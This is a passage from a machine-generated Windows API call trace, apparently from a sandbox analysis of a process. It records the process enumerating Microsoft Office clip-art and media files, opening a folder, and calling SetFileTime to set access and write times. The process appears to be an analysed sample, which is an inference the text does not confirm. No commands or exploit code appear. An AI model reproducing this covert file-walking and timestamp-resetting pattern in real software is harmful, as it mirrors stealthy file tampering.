ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf9b61300, ftLastWriteTime.dwHighDateTime=0x1bf452c, nFileSizeHigh=0x0, nFileSizeLow=0x239c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300840.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616c5e00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x616c5e00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0xdafc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300912.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb340b00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb340b00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301050.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf780800, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf780800, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x224e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301076.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91e7c00, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf91e7c00, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x953a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301252.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570900, ftCreationTime.dwHighDateTime=0x1bf4530, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5570900, ftLastWriteTime.dwHighDateTime=0x1bf4530, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301480.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced53d00, ftCreationTime.dwHighDateTime=0x1bf4a9f, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xced53d00, ftLastWriteTime.dwHighDateTime=0x1bf4a9f, nFileSizeHigh=0x0, nFileSizeLow=0x5a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302827.JPG", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a69b00, ftCreationTime.dwHighDateTime=0x1bf4b65, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33a69b00, ftLastWriteTime.dwHighDateTime=0x1bf4b65, nFileSizeHigh=0x0, nFileSizeLow=0x25c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302953.JPG", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa04dd00, ftCreationTime.dwHighDateTime=0x1bf4531, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa04dd00, ftLastWriteTime.dwHighDateTime=0x1bf4531, nFileSizeHigh=0x0, nFileSizeLow=0x4d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304933.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab12600, ftCreationTime.dwHighDateTime=0x1bf4533, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ab12600, ftLastWriteTime.dwHighDateTime=0x1bf4533, nFileSizeHigh=0x0, nFileSizeLow=0x5af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305257.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x494c0d00, ftCreationTime.dwHighDateTime=0x1bf4534, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x494c0d00, ftLastWriteTime.dwHighDateTime=0x1bf4534, nFileSizeHigh=0x0, nFileSizeLow=0x3372, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305493.WMF", cAlternateFileName="")) returned 1 [0073.452] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8598100, ftCreationTime.dwHighDateTime=0x1bf71c6, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb8598100, ftLastWriteTime.dwHighDateTime=0x1bf71c6, nFileSizeHigh=0x0, nFileSizeLow=0x60e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315447.JPG", cAlternateFileName="")) returned 1 [0073.452] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653ad300, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x653ad300, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x5168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332268.WMF", cAlternateFileName="")) returned 1 [0073.452] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x666c0000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x666c0000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x47c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332364.WMF", cAlternateFileName="")) returned 1 [0073.452] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ca1000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc5ca1000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x1f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0335112.WMF", cAlternateFileName="")) returned 1 [0073.452] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 1 [0073.452] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 0 [0073.452] GetLastError () returned 0x12 [0073.452] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0073.452] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0073.452] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.452] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0073.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0073.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0073.453] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0073.453] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa88478, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa88478, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0073.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa88478) returned 1 [0073.453] NtClose (Handle=0x164) returned 0x0 [0073.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94980 [0073.453] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0073.453] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.453] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0073.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0073.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63d10 [0073.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82068 [0073.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.454] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 0 [0073.454] GetLastError () returned 0x12 [0073.454] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0073.454] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0073.454] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.454] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0073.454] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 0 [0073.454] GetLastError () returned 0x12 [0073.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94980) returned 1 [0073.454] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0073.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0073.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.454] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0073.454] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0073.454] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0073.454] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0073.454] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: 